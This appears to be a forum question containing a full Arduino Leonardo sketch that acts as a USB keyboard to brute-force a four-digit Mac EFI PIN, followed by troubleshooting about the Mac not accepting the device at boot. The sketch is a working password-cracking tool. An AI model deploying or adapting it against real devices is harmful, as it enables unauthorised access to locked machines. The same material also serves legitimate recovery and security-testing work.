Arduino Leonardo can't recognize as USB keyboard by Mac

Inspired by some articles about EFI bruteforce
https://orvtech.com/atacar-efi-pin-macbook-pro-en.html

I built my own using Arduino Leonardo. It just a simple application for password bruteforcing.

Sketch :

#include <Keyboard.h>
#include <Wire.h>
#include <LiquidCrystal_I2C.h>

LiquidCrystal_I2C lcd(0x3F, 20, 4);

int keycodes[] = {
  48, 49, 50, 51,
  52, 53, 54, 55, 56, 57
};
boolean test = true;

void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  // Initiate the LCD:
  lcd.init();
  lcd.backlight();
  for (int i = 0; i < 10; i++) {
    lcd.clear();
    lcd.setCursor(0, 0);
    lcd.print("Start in ");
    lcd.print(10 - i);
    lcd.print("s");
    delay(1000);
  }
}

void loop() {
  if (test) {
    testKeyboard();
  } else {
    // put your main code here, to run repeatedly:
    for (int i = 0; i < 10; i++) {
      for (int j = 0; j < 10; j++)
        for (int k = 0; k < 10; k++) {
          for (int d = 0; d < 10; d++) {
            pressKey(keycodes[i]);
            pressKey(keycodes[j]);
            pressKey(keycodes[k]);
            pressKey(keycodes[d]);

            pressKey(176);
            printCode(keycodes[i], keycodes[j], keycodes[k], keycodes[d]);
            delay(17000);
          }
        }
    }
  }
}


void printCode(int a, int b, int c, int d) {
  lcd.clear();
  // Print 'Hello World!' on the first line of the LCD:
  lcd.setCursor(0, 0); // Set the cursor on the first column and first row.
  lcd.print("Testing code"); // Print the string "Hello World!"
  lcd.setCursor(2, 1); //Set the cursor on the third column and the second row (counting starts at 0!).
  lcd.print(codeToString(a));
  lcd.print(codeToString(b));
  lcd.print(codeToString(c));
  lcd.print(codeToString(d));
}


void pressKey(int code) {
  Keyboard.press(code);
  delay(20);
  Keyboard.release(code);
  delay(200);
  //Keyboard.write(code); //testing this method - no success
  //delay(200);
}

void testKeyboard() {
  lcd.clear();
  lcd.setCursor(0, 0);
  lcd.println("Test mode");
  for (int i = 0; i < 200; i++) {
    pressKey(i);
    lcd.setCursor(0, 1);
    lcd.print("Checked ");
    lcd.print(i);
  }
}


String codeToString(int code) {
  String result;
  switch (code) {
    case 176: result = "ENTER"; break;
    case 48: result = "0"; break;
    case 49: result = "1"; break;
    case 50: result = "2"; break;
    case 51: result = "3"; break;
    case 52: result = "4"; break;
    case 53: result = "5"; break;
    case 54: result = "6"; break;
    case 55: result = "7"; break;
    case 56: result = "8"; break;
    case 57: result = "9"; break;
  }
  return result;
}

Everything works fine on Windows, and fortunately, I have a second mac to check it. It also works fine on my second Mac.

My problem.

When I connecting Arduino Leonardo to target Mac it doesn't work at all. Code is working - I can see some debug stuff on LCD screen, but nothing inputting into password input. It is just clear.

I have a guess why it happening.

When I connected my Arduino for the first time to another Mac, Mac showed me a prompt - to approve that this is actually keyboard and (looks like system installed drivers for this board) in case of target Mac I have no option to approve it because I'm blocked to launch Mac OS.

Any suggestions?

For a lot of searches, I found that Arduino Leonardo can emulate HID device but in already launched system. Unfortunately, Arduino Leonardo doesn't have boot loader - to works fine in Boot system. It supports partially by NicoHood with BootKeyboard but he still looking for solution. This thread can be closed.